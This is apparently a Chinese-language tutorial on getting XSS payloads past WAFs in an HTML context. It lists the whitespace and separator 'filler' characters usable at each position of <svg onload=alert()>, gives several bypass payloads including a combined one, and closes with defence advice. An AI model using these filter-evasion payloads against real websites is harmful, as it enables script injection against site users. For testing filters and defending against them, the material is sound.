waf && filter bypass系列——XSS之html语境下的填充符探索。
字数 1326 2025-08-20 18:17:31
WAF & Filter Bypass系列:HTML语境下XSS填充符探索
1. 研究对象与概念
填充符:在XSS攻击中,填充符是指那些可以分隔语法关键词但不影响语义的符号。它们能够"破坏"语法应有的样子,从而绕过WAF和过滤器的检测。
研究目标:XSS攻击、HTML标签结构、填充符的使用方法
2. HTML标签结构分解
以典型XSS payload <svg onload=alert()>为例,我们可以将其分解为以下部分:
- 起始标签:
<svg(head) - 事件处理:
onload(event) - 事件和等于号之间
- 触发后执行函数:
alert()(func) - 等于号和执行函数之间
- 结束标签:
>(tail)
3. 填充符探索与分类
3.1 起始标签与事件处理之间的填充符
可用填充符(URL编码表示):
%20- 空格/- 斜杠%09- 水平制表符%0a- 换行符%0d- 回车符/xxx/- 任意字符包裹在斜杠中%0c- 换页符
特点:
- 可以重复使用(如
%09%09) - 正则表达式描述:
(filler).*
示例:
<svg%0aonload=alert()>
<svg/onload=alert()>
<svg%09%09onload=alert()>
3.2 事件处理和等于号之间的填充符
可用填充符:
%20- 空格%09- 水平制表符%0a- 换行符%0d- 回车符%0c- 换页符
特点:
- 可以重复使用
- 正则表达式描述:
(filler).*
示例:
<svg onload%09=alert()>
<svg onload%0a=alert()>
3.3 等于号和执行函数之间的填充符
与3.2节相同,使用相同的填充符集合。
3.4 函数名和括号之间的填充符
特殊填充符:
%0b- 垂直制表符
原理:
- 在引号外使用时,
%0b可以将函数名和括号连在一起,不会造成分隔 - 浏览器会认为
alert%0b()仍然是事件的一部分 - 可以重复使用(如
%0b%0b) - 正则表达式描述:
(%0B).*
示例:
<svg onload=alert%0b()>
3.5 结束标签的填充符
可用填充符:
%20- 空格//- 双斜杠>- 直接结束%0a- 换行符%0d- 回车符%09- 水平制表符%0c- 换页符
特点:
- 可以重复使用(如
%0a%0a) - 正则表达式描述:
(filler).*
示例:
<svg onload=alert()%0a>
<svg onload=alert()//>
4. 组合绕过技术
通过组合使用不同类型的填充符,可以绕过多种WAF和过滤规则:
示例payload:
<svg%0a%0aonload%09=%0aalert%0b()%0a
绕过点:
- 绕过匹配
onxxx=的规则 - 绕过匹配
=alert的规则 - 绕过匹配
alert()的规则
5. 测试环境
测试靶场:http://brutelogic.com.br/xss.php?a=1
6. 防御建议
对于防御方,建议:
- 全面考虑所有可能的填充符变体
- 实现多层过滤机制
- 对HTML标签结构进行完整解析而非简单模式匹配
- 考虑使用内容安全策略(CSP)等高级防御措施
7. 总结
填充符在WAF和过滤器绕过中扮演着关键角色,通过:
- 破坏语法结构
- 利用多种空白字符和分隔符
- 组合使用不同位置的填充符
安全研究人员需要构建系统的fuzz思路,针对具体场景分析可能的绕过方式。正如文中所说:"只要思路好,waf绕到老"。